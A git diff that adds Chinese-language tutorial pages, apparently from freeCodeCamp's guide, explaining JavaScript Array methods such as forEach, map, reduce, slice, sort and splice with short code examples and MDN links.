diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-foreach/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-foreach/index.md
new file mode 100644
index 0000000000..1de0b70986
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-foreach/index.md
@@ -0,0 +1,37 @@
+---
+title: Array.prototype.forEach
+localeTitle: Array.prototype.forEach
+---
+## Array.prototype.forEach
+
+'forEach'数组方法用于迭代数组中的每个项。该方法在数组Object上调用，并传递一个函数，该函数在数组中的每个项目上调用。
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach(number => console.log(number * 2)); 
+ 
+ // 2 
+ // 4 
+ // 6 
+ // 8 
+ // 10 
+```
+
+如果需要引用数组中当前项的索引，则回调函数还可以获取索引的第二个参数。
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach((number, i) => console.log(`${number} is at index ${i}`)); 
+ 
+ // '1 is at index 0' 
+ // '2 is at index 1' 
+ // '3 is at index 2' 
+ // '4 is at index 3' 
+ // '5 is at index 4' 
+```
+
+#### 更多信息：
+
+[关于Array.prototype.forEach（）的MDN文章](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-includes/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-includes/index.md
new file mode 100644
index 0000000000..7f3ad062c9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-includes/index.md
@@ -0,0 +1,24 @@
+---
+title: Array.prototype.includes
+localeTitle: Array.prototype.includes
+---
+## Array.prototype.includes
+
+`includes()`方法确定数组是否包含值。它返回true或false。
+
+它需要两个参数：
+
+1.  `searchValue` - 要在数组中搜索的元素。
+2.  `fromIndex` - 数组中开始搜索proivded `searchValue` 。如果提供负值，则从数组的长度减去负值开始。
+
+### 例
+
+```js
+const a = [1, 2, 3]; 
+ a.includes(2); // true 
+ a.includes(4); // false 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-indexof/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-indexof/index.md
new file mode 100644
index 0000000000..2d697a5c8e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-indexof/index.md
@@ -0,0 +1,44 @@
+---
+title: Array.prototype.indexOf
+localeTitle: Array.prototype.indexOf
+---
+## Array.prototype.indexOf
+
+`indexOf()`方法返回可在数组中找到给定元素的第一个索引。如果该元素不存在，则返回-1。
+
+**句法**
+
+```javascript
+  arr.indexOf(searchElement[, fromIndex]) 
+```
+
+## 参数
+
+*   **searchElement**您正在查找的元素
+    
+*   **fromIndex**可选。要在其中开始搜索的索引。如果fromIndex大于或等于数组的长度，则不搜索该数组，并且该方法返回-1。如果fromIndex是负数，则它会考虑从数组末尾开始的偏移量（数组仍然从那里向前搜索）。默认值为0，表示搜索整个数组。
+    
+
+## 描述
+
+`indexOf`方法以递增索引顺序获取每个数组元素，并使用严格相等（ `===` ）对`searchElement`进行检查。一旦找到返回`true`的元素，它就会返回其索引。
+
+## 例子
+
+```javascript
+var array = [1, 2, 4, 1, 7] 
+ 
+ array.indexOf(1); // 0 
+ array.indexOf(7); // 4 
+ array.indexOf(6); // -1 
+ array.indexOf('1'); // -1 
+ array.indexOf('hello'); // -1 
+ array.indexOf(1, 2); // 3 
+ array.indexOf(1, -3); // 3 
+```
+
+### 更多信息：
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+[MSDN链接](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-array-javascript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-join/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-join/index.md
new file mode 100644
index 0000000000..c6f5a04332
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-join/index.md
@@ -0,0 +1,39 @@
+---
+title: Array.prototype.join
+localeTitle: Array.prototype.join
+---
+JavaScript数组方法`.join()`将数组的所有元素组合成一个字符串。
+
+**句法**
+
+```javascript
+  var array = ["Lorem", "Ipsum", "Dolor", "Sit"]; 
+  var str = array.join([separator]); 
+```
+
+## 参数
+
+**分隔器**
+
+可选的。指定用于分隔原始数组的每个元素的字符串。如果分隔符不是字符串，则将其转换为字符串。如果未提供separator参数，则默认情况下使用逗号分隔数组元素。如果separator是一个空字符串`""` ，则所有数组元素之间的连接都没有分隔符。
+
+## 描述
+
+`.join()`将数组的所有元素连接成一个字符串。如果任何数组元素`undefined`或为`null` ，则该元素将转换为空字符串`""` 。
+
+## 例子
+
+**使用`.join()`四种不同的方式**
+
+```javascript
+  var array = ["Lorem", "Ipsum", "Dolor" ,"Sit"]; 
+ 
+  var join1 = array.join();           /* assigns "Lorem,Ipsum,Dolor,Sit" to join1 variable 
+                                         (because no separator was provided .join() 
+                                         defaulted to using a comma) */ 
+  var join2 = array.join(", ");       // assigns "Lorem, Ipsum, Dolor, Sit" to join2 variable 
+  var join3 = array.join(" + ");      // assigns "Lorem + Ipsum + Dolor + Sit" to join3 variable 
+  var join4 = array.join("");         // assigns "LoremIpsumDolorSit" to join4 variable 
+```
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-lastindexof/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..34daec7ea0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-lastindexof/index.md
@@ -0,0 +1,75 @@
+---
+title: Array.prototype.lastIndexOf
+localeTitle: Array.prototype.lastIndexOf
+---
+## Array.prototype.lastIndexof
+
+`lastIndexOf()`方法返回在数组中可以找到给定元素的最后一个索引，如果不存在则返回-1。从`fromIndex`开始向后搜索数组。
+
+**句法**
+
+```javascript
+  arr.lastIndexOf(searchElement, fromIndex = arr.length - 1]) 
+```
+
+## 参数
+
+*   **searchElement**
+    
+    *   要在数组中定位的元素。
+*   **的fromIndex**
+    
+    *   _可选_ 。要开始向后搜索的索引。默认为数组的长度减去1，即将搜索整个数组。如果索引大于或等于数组的长度，则将搜索整个数组。如果是负数，则将其作为距离数组末尾的偏移量。请注意，即使索引为负数，仍会从后向前搜索数组。如果计算的索引小于0，则返回-1，即不搜索数组。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/ff679972%28v=vs.94%29.aspx)
+
+## 返回
+
+数组中最后一次出现`searchElement`的索引，如果未找到`searchElement` ，则`searchElement` -1。
+
+## 描述
+
+`lastIndexOf`使用严格相等（与===或`searchElement`运算符使用的方法相同）将`searchElement`与Array的元素进行比较。
+
+## 备注
+
+搜索以降序索引顺序（最后一个成员优先）发生。要按升序搜索，请使用`indexOf`方法。
+
+可选的`fromIndex`参数指定开始搜索的数组索引。如果`fromIndex`大于或等于数组长度，则搜索整个数组。如果`fromIndex`为负数，则搜索从数组长度加上`fromIndex` 。如果计算的索引小于0，则返回-1。
+
+## 例子
+
+```javascript
+  var array = [2, 5, 9, 2]; 
+  array.lastIndexOf(2);     // 3 
+  array.lastIndexOf(7);     // -1 
+  array.lastIndexOf(2, 3);  // 3 
+  array.lastIndexOf(2, 2);  // 0 
+  array.lastIndexOf(2, -2); // 0 
+  array.lastIndexOf(2, -1); // 3 
+ 
+  // Create an array. 
+  var ar = ["ab", "cd", "ef", "ab", "cd"]; 
+ 
+  // Determine the first location, in descending order, of "cd". 
+  document.write(ar.lastIndexOf("cd") + "<br/>"); 
+ 
+  // Output: 4 
+ 
+  // Find "cd" in descending order, starting at index 2. 
+  document.write(ar.lastIndexOf("cd", 2) + "<br/>"); 
+ 
+  // Output: 1 
+ 
+  // Search for "gh" (which is not found). 
+  document.write(ar.lastIndexOf("gh")+ "<br/>"); 
+ 
+  // Output: -1 
+ 
+  // Find "ab" with a fromIndex argument of -3. 
+  // The search in descending order starts at index 3, 
+  // which is the array length minus 2. 
+  document.write(ar.lastIndexOf("ab", -3) + "<br/>"); 
+  // Output: 0 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-map/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-map/index.md
new file mode 100644
index 0000000000..bd0e06625e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-map/index.md
@@ -0,0 +1,32 @@
+---
+title: Array.prototype.map
+localeTitle: Array.prototype.map
+---
+## Array.prototype.map
+
+`.map()`方法遍历给定数组并在每个元素上执行提供的函数。它返回一个新数组，其中包含每个元素上函数调用的结果。
+
+### 例子
+
+**ES5**
+
+```js
+var arr = [1, 2, 3, 4]; 
+ var newArray = arr.map(function(element) { return element * 2}); 
+ console.log(newArray); // [2, 4, 6, 8] 
+```
+
+**ES6**
+
+```js
+const arr = [1, 2, 3, 4]; 
+ const newArray = arr.map(element => element * 2); 
+ console.log(newArray); 
+ //[2, 4, 6, 8] 
+```
+
+**更多信息**
+
+这是一个交互式的Scrimba截屏视频，它解释了`Array.prototype.map()` ：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-pop/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-pop/index.md
new file mode 100644
index 0000000000..24bc82159f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-pop/index.md
@@ -0,0 +1,37 @@
+---
+title: Array.prototype.pop
+localeTitle: Array.prototype.pop
+---
+# Array.prototype.pop
+
+`pop()`方法从中删除最后一个元素并更改数组的长度。
+
+**句法**
+
+```js
+    arr.pop() 
+```
+
+**返回值**
+
+*   从数组中删除的元素;如果数组为空，则为undefined。
+
+## 描述
+
+`pop()`方法从数组中删除最后一个元素，并将该值返回给调用者。
+
+如果在空数组上调用`pop()` ，则返回undefined。
+
+## 例子
+
+```js
+let array = [1, 2, 3, 4]; 
+ array.pop(); // removes 4 
+ console.log(array); // [1, 2, 3] 
+ 
+ [].pop() // undefined 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-push/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-push/index.md
new file mode 100644
index 0000000000..39342aecbc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-push/index.md
@@ -0,0 +1,52 @@
+---
+title: Array.prototype.push
+localeTitle: Array.prototype.push
+---
+`push()`方法用于将一个或多个新元素添加到数组的末尾。 它还返回数组的新长度。
+
+### 句法
+
+```javascript
+arr.push([element1[, ...[, elementN]]]) 
+```
+
+### 参数
+
+*   **elementN**要添加到数组末尾的元素。
+
+### 返回值
+
+调用方法的数组的新长度。
+
+## 描述
+
+`push()`方法将元素_推_送到数组的末尾。它可以采用零个或多个参数。如果没有提供参数， 它只会返回数组的当前长度。如果提供了一个或多个参数，它会将这些参数添加到数组中 按照它们的写入顺序。
+
+在将元素推送到数组后，此方法还返回数组的新长度。
+
+## 例：
+
+```javascript
+var myStarkFamily = ['John', 'Robb', 'Sansa', 'Bran']; 
+```
+
+假设你有一系列来自权力的游戏中的House Stark的孩子们。然而，其中一名成员**Arya**失踪了。 知道上面的代码，你可以通过在最后一个索引之后的索引处将`'Arya'`分配给数组来添加她，如下所示：
+
+```javascript
+myStarkFamily[4] = 'Arya'; 
+```
+
+该解决方案的问题在于它无法处理一般情况。如果您事先不知道阵列的长度是多少， 你不能用这种方式添加新元素。这就是`push()`的用途。我们不需要知道数组有多长。我们只是添加 我们的元素到数组的末尾。
+
+```javascript
+myStarkFamily.push('Arya'); 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya'] 
+ 
+ var newLength = myStarkFamily.push('Rickon');  // oops! forgot Rickon 
+ console.log(newLength);  // 6 
+ console.log(myStarkFamily);  // ['John', 'Robb', 'Sansa', 'Bran', 'Arya', 'Rickon'] 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduce/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduce/index.md
new file mode 100644
index 0000000000..26f80d3e2c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduce/index.md
@@ -0,0 +1,67 @@
+---
+title: Array.prototype.reduce
+localeTitle: Array.prototype.reduce
+---
+## Array.prototype.reduce
+
+`reduce()`方法将值数组减少到只有一个值。
+
+返回的单个值可以是任何类型。
+
+### 例1
+
+将整数数组转换为数组中所有整数的总和。
+
+```js
+    var numbers = [1,2,3]; 
+    var sum = numbers.reduce(function(total, current){ 
+        return total + current; 
+    }); 
+    console.log(sum); 
+```
+
+这将输出`6`到控制台。
+
+### 描述
+
+`reduce()`方法被称为阵列转换方法的瑞士军刀或多工具。其他的，如`map()`和`filter()` ，提供更具体的转换，而`reduce()`可用于将数组转换为您想要的任何输出。
+
+### 句法
+
+```js
+    arr.reduce(callback[, initialValue]) 
+```
+
+*   `callback`参数是一个函数，将为数组中的每个项调用一次。此函数有四个参数，但通常只使用前两个参数。
+    *   _accumulator_ - 上一次迭代的返回值
+    *   _currentValue_ - 数组中的当前项
+    *   _index_ - 当前项的索引
+    *   _array_ - 调用reduce的原始数组
+*   `initialValue`参数是可选的。如果提供，它将在第一次调用回调函数时用作初始累加器值（参见下面的示例2）。
+
+### 例2
+
+将字符串数组转换为单个对象，该对象显示每个字符串在数组中出现的次数。注意这个reduce调用将一个空对象`{}`作为`initialValue`参数传递。这将用作传递给回调函数的累加器（第一个参数）的初始值。
+
+```js
+var pets = ['dog', 'chicken', 'cat', 'dog', 'chicken', 'chicken', 'rabbit']; 
+ 
+ var petCounts = pets.reduce(function(obj, pet){ 
+    if (!obj[pet]) { 
+        obj[pet] = 1; 
+    } else { 
+        obj[pet]++; 
+    } 
+    return obj; 
+ }, {}); 
+ 
+ console.log(petCounts); 
+```
+
+输出： `js { dog: 2, chicken: 3, cat: 1, rabbit: 1 }`
+
+## 更多信息：
+
+*   [JavaScript的Reduce方法如何工作，何时使用它，以及它可以做的一些很酷的事情](https://medium.freecodecamp.org/reduce-f47a7da511a9)
+*   [高级减少](https://www.youtube.com/watch?v=1DMolJ2FrNY)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduceright/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduceright/index.md
new file mode 100644
index 0000000000..a9843082fc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reduceright/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.reduceRight
+localeTitle: Array.prototype.reduceRight
+---
+## Array.prototype.reduceRight
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-reduceright/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reverse/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reverse/index.md
new file mode 100644
index 0000000000..5c4fd2c59a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-reverse/index.md
@@ -0,0 +1,34 @@
+---
+title: Array.prototype.reverse
+localeTitle: Array.prototype.reverse
+---
+JavaScript数组方法`.reverse()`将颠倒数组中元素的顺序。
+
+**句法**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  array.reverse(); 
+```
+
+## 描述
+
+`.reverse()`反转数组元素的索引。
+
+## 例子
+
+**使用`.reverse()`来反转数组的元素**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.reverse(); 
+ 
+  console.log(array); 
+  /* Console will output 5, 4, 3, 2, 1 and 
+  the variable array now contains the set [5, 4, 3, 2, 1] */ 
+```
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-shift/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-shift/index.md
new file mode 100644
index 0000000000..32d42ea3e3
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-shift/index.md
@@ -0,0 +1,38 @@
+---
+title: Array.prototype.shift
+localeTitle: Array.prototype.shift
+---
+JavaScript数组方法`.shift()`将从数组中删除第一个元素并返回该值。这也将改变数组的长度
+
+**句法**
+
+```javascript
+  var array = [1, 2, 3, 4]; 
+  array.shift(); 
+```
+
+## 描述
+
+`.shift()`将删除调用它的数组的索引0处的元素。然后它返回删除的值并将所有剩余元素向下移动1个索引值。
+
+如果调用它的数组不包含任何元素，则`.shift()`将返回`undefined` 。
+
+## 例子
+
+**从数组中移出第一个值**
+
+```javascript
+  var array = [1, 2, 3, 4, 5]; 
+  console.log(array); 
+  // Console will output 1, 2, 3, 4, 5 
+ 
+  array.shift(); 
+  // If we console.log(array.shift()); the console would output 1. 
+ 
+  console.log(array); 
+  /* Console will output 2, 3, 4, 5 and 
+  the variable array now contains the set [2, 3, 4, 5] where 
+  each element has been moved down 1 index value. */ 
+```
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-slice/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-slice/index.md
new file mode 100644
index 0000000000..4981fd1df2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-slice/index.md
@@ -0,0 +1,44 @@
+---
+title: Array.prototype.slice
+localeTitle: Array.prototype.slice
+---
+JavaScript数组方法`.slice()`将返回一个新的数组对象，该对象将是原始数组的一个段（一个切片）。原始数组未被修改。
+
+**句法**
+
+```javascript
+  array.slice() 
+  arr.slice(startIndex) 
+  arr.slice(startIndex, endIndex) 
+```
+
+## 参数
+
+*   **startIndex**切片应开始的从零开始的索引。如果省略该值，则它将从0开始。
+    
+*   **endIndex**切片将**在**此基于零的索引**之前**结束。负索引用于从数组的末尾偏移。如果省略该值，则段将切片到数组的末尾。
+    
+
+## 例子
+
+```javascript
+  var array = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var everything = array.slice() 
+  // everything = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+ 
+  var kitchen = array.slice(2, 4) 
+  // kitchen = ['cup', 'sandwich'] 
+ 
+  var random = array.slice(4) 
+  // random = ['bag', 'phone', 'cactus'] 
+ 
+  var noPlants = array.slice(0, -1) 
+  // noPlats = ['books', 'games', 'cup', 'sandwich', 'bag', 'phone'] 
+ 
+  // array will still equal ['books', 'games', 'cup', 'sandwich', 'bag', 'phone', 'cactus'] 
+```
+
+#### 更多信息：
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-some/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-some/index.md
new file mode 100644
index 0000000000..972b20d9de
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-some/index.md
@@ -0,0 +1,92 @@
+---
+title: Array.prototype.some
+localeTitle: Array.prototype.some
+---
+JavaScript数组方法`.some()`将使用回调函数来测试数组中的每个元素;一旦回调返回`true`则`.some()`将立即返回true。
+
+**句法**
+
+```javascript
+  var arr = [1, 2, 3, 4]; 
+  arr.some(callback[, thisArg]); 
+```
+
+## 回调函数
+
+**句法**
+
+```javascript
+  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+```
+
+请参阅[算术运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators)上的wiki以查看余数运算符`%`
+
+**有3个参数**
+
+*   currentElement
+    
+    *   这是一个变量，表示传递给回调的元素。
+*   指数
+    
+    *   这是从0开始的当前元素的索引值
+*   排列
+    
+    *   调用`.some()`的数组。
+
+回调函数应该实现一个测试用例。
+
+## thisArg
+
+是可选参数，可以在\[MDN\]找到更多信息
+
+## 描述
+
+`.some()`将为数组中的每个元素运行回调函数。一旦回调返回true， `.some()`将返回`true` 。如果回调为数组中的_每个_元素返回一个[伪值](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) ，则`.some()`返回false。
+
+`.some()`不会改变/改变调用它的数组。
+
+## 例子
+
+**将函数传递给`.some()`**
+
+```javascript
+  var isEven = function isEven(currentElement, index, array) { 
+      if(currentElement % 2 === 0) { 
+          return true; 
+      } else { 
+          return false; 
+      } 
+  } 
+ 
+  var arr1 = [1, 2, 3, 4, 5, 6]; 
+  arr1.some(isEven);  // returns true 
+  var arr2 = [1, 3, 5, 7]; 
+  arr2.some(isEven);  // returns false 
+```
+
+**匿名功能**
+
+```javascript
+  var arr3 = ['Free', 'Code', 'Camp', 'The Amazing']; 
+  arr3.some(function(curr, index, arr) { 
+      if (curr === 'The Amazing') { 
+          return true; 
+      } 
+      }); // returns true 
+ 
+  var arr4 = [1, 2, 14, 5, 17, 9]; 
+  arr4.some(function(curr, index, arr) { 
+      return curr > 20; 
+      });  // returns false 
+ 
+  // ES6 arrows functions 
+  arr4.some((curr) => curr >= 14)  // returns true 
+```
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-sort/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-sort/index.md
new file mode 100644
index 0000000000..cd51e4bb3d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-sort/index.md
@@ -0,0 +1,51 @@
+---
+title: Array.prototype.sort
+localeTitle: Array.prototype.sort
+---
+## Array.prototype.sort
+
+此方法对数组中的元素进行排序并返回该数组。
+
+`sort()`方法遵循**ASCII顺序** ！
+
+指数|人物 --- | --- 33 |！ 34 |” 35 |＃ 36 | $ 37 |％
+
+```js
+var myArray = ['#', '!']; 
+ var sortedArray = myArray.sort();   // ['!', '#'] because in the ASCII table "!" is before "#" 
+ 
+ myArray = ['a', 'c', 'b']; 
+ console.log(myArray.sort()); // ['a', 'b', 'c'] 
+ console.log(myArray) // ['a', 'b', 'c'] 
+ 
+ myArray = ['b', 'a', 'aa']; 
+ console.log(myArray.sort());   // ['a', 'aa', 'b'] 
+ 
+ myArray = [1, 2, 13, 23]; 
+ console.log(myArray.sort());   // [1, 13, 2, 23] numbers are treated like strings! 
+```
+
+# 高级用法
+
+`sort()`方法也可以接受一个参数： `array.sort(compareFunction)`
+
+### 例如
+
+```js
+function compare(a, b){ 
+  if (a < b){return -1;} 
+  if (a > b){return 1;} 
+  if (a === b){return 0;} 
+ } 
+ 
+ var myArray = [1, 2, 23, 13]; 
+ console.log(myArray.sort()); // [ 1, 13, 2, 23 ] 
+ console.log(myArray.sort(compare));   // [ 1, 2, 13, 23 ] 
+ 
+ myArray = [3, 4, 1, 2]; 
+ sortedArray = myArray.sort(function(a, b){.....});   // it depends from the compareFunction 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-splice/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-splice/index.md
new file mode 100644
index 0000000000..958fd9ae73
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-splice/index.md
@@ -0,0 +1,74 @@
+---
+title: Array.prototype.splice
+localeTitle: Array.prototype.splice
+---
+## Array.prototype.splice
+
+splice方法类似于[Array.prototype.slice](https://guide.freecodecamp.org/javascript/standard-objects/array/array-prototype-slice) ，但与`slice()`不同，它会改变调用它的数组。它的不同之处还在于它可以用于向数组添加值以及删除它们。
+
+### 参数
+
+`splice()`可以带一个或多个
+
+#### 拼接（开始）
+
+如果只包含一个参数，则`splice(start)`将从数组的`start`到结尾删除所有数组元素。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(2); 
+ // exampleArray is now ['first', 'second']; 
+```
+
+如果`start`为负数，它将从数组末尾向后计数。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(-1); 
+ // exampleArray is now ['first', 'second', 'third']; 
+```
+
+#### splice（start，deleteCount）
+
+如果包括第二参数，然后`splice(start, deleteCount)`将删除`deleteCount`从数组元素，开头`start` 。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth']; 
+```
+
+#### splice（start，deleteCount，newElement1，newElement2，...）
+
+如果包含两个以上的参数，则附加参数将是添加到阵列的新元素。这些添加元素的位置将`start` 。
+
+通过传递`0`作为第二个参数，可以添加元素而不删除任何元素。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 0, 'new 1', 'new 2'); 
+ // exampleArray is now ['first', 'new 1', 'new 2', 'second', 'third', 'fourth'] 
+```
+
+元素也可以替换。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ exampleArray.splice(1, 2, 'new second', 'new third'); 
+ // exampleArray is now ['first', 'new second', 'new third', 'fourth'] 
+```
+
+### 返回值
+
+除了更改调用它的数组外， `splice()`还返回一个包含已删除值的数组。这是一种将阵列切割成两个不同阵列的方法。
+
+```js
+let exampleArray = ['first', 'second', 'third', 'fourth']; 
+ let newArray = exampleArray.splice(1, 2); 
+ // exampleArray is now ['first', 'fourth'] 
+ // newArray is ['second', 'third'] 
+```
+
+#### 更多信息：
+
+[MDN - Array.prototype.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..98cb661651
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tolocalstring/index.md
@@ -0,0 +1,49 @@
+---
+title: Array.prototype.toLocaleString
+localeTitle: Array.prototype.toLocaleString
+---
+## Array.prototype.toLocaleString
+
+`toLocaleString()`方法返回表示数组元素的字符串。使用toLocaleString方法将所有元素转换为字符串。调用此函数的结果旨在特定于语言环境。
+
+##### 句法：
+```
+arr.toLocaleString(); 
+```
+
+##### 参数
+
+*   `locales` （可选） - 包含字符串或语言标记数组的参数[BCP 47语言标记](http://tools.ietf.org/html/rfc5646) 。
+*   `options` （可选） - 具有配置属性的对象
+
+##### 返回值
+
+表示由特定于语言环境的String（例如逗号“，”）分隔的数组元素的字符串
+
+## 例子
+
+```javascript
+var number = 12345; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myString = myArray.toLocaleString(); 
+ 
+ console.log(myString); 
+ // OUTPUT '12345,10/25/2017, 4:20:02 PM,foo' 
+```
+
+可以基于语言和区域标识符（区域设置）显示不同的输出。
+
+```javascript
+var number = 54321; 
+ var date = new Date(); 
+ var myArray = [number, date, 'foo']; 
+ var myJPString = myArray.toLocaleString('ja-JP'); 
+ 
+ console.log(myJPString); 
+ // OUTPUT '54321,10/26/2017, 5:20:02 PM,foo' 
+```
+
+### 更多信息：
+
+资料来源： [MDN](https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Array/toLocaleString)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tosource/index.md
new file mode 100644
index 0000000000..5a923230c4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.toSource
+localeTitle: Array.prototype.toSource
+---
+## Array.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
